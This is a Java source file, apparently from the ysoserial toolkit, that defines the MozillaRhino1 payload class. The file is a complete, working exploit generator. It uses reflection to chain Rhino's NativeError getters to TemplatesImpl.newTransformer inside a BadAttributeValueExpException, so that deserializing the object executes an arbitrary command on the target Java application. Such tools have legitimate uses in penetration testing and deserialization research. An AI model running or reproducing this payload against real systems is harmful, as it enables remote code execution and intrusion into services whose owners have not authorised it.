package ysoserial.payloads;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.mozilla.javascript.*;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.PayloadRunner;
import javax.management.BadAttributeValueExpException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/*
by @matthias_kaiser
*/
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"rhino:js:1.7R2"})
public class MozillaRhino1 implements ObjectPayload<Object> {
public Object getObject(final String command) throws Exception {
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
nativeErrorConstructor.setAccessible(true);
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
Context context = Context.enter();
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
Method enterMethod = Context.class.getDeclaredMethod("enter");
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
idScriptableObject.setGetterOrSetter("name", 0, method, false);
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
getSlot.setAccessible(true);
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
Field getter = slot.getClass().getDeclaredField("getter");
getter.setAccessible(true);
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
memberboxClassConstructor.setAccessible(true);
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
getter.set(slot, memberboxes);
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, Gadgets.createTemplatesImpl(command), TemplatesImpl.class);
idScriptableObject.setPrototype(nativeObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, idScriptableObject);
return badAttributeValueExpException;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(MozillaRhino1.class, args);
}
}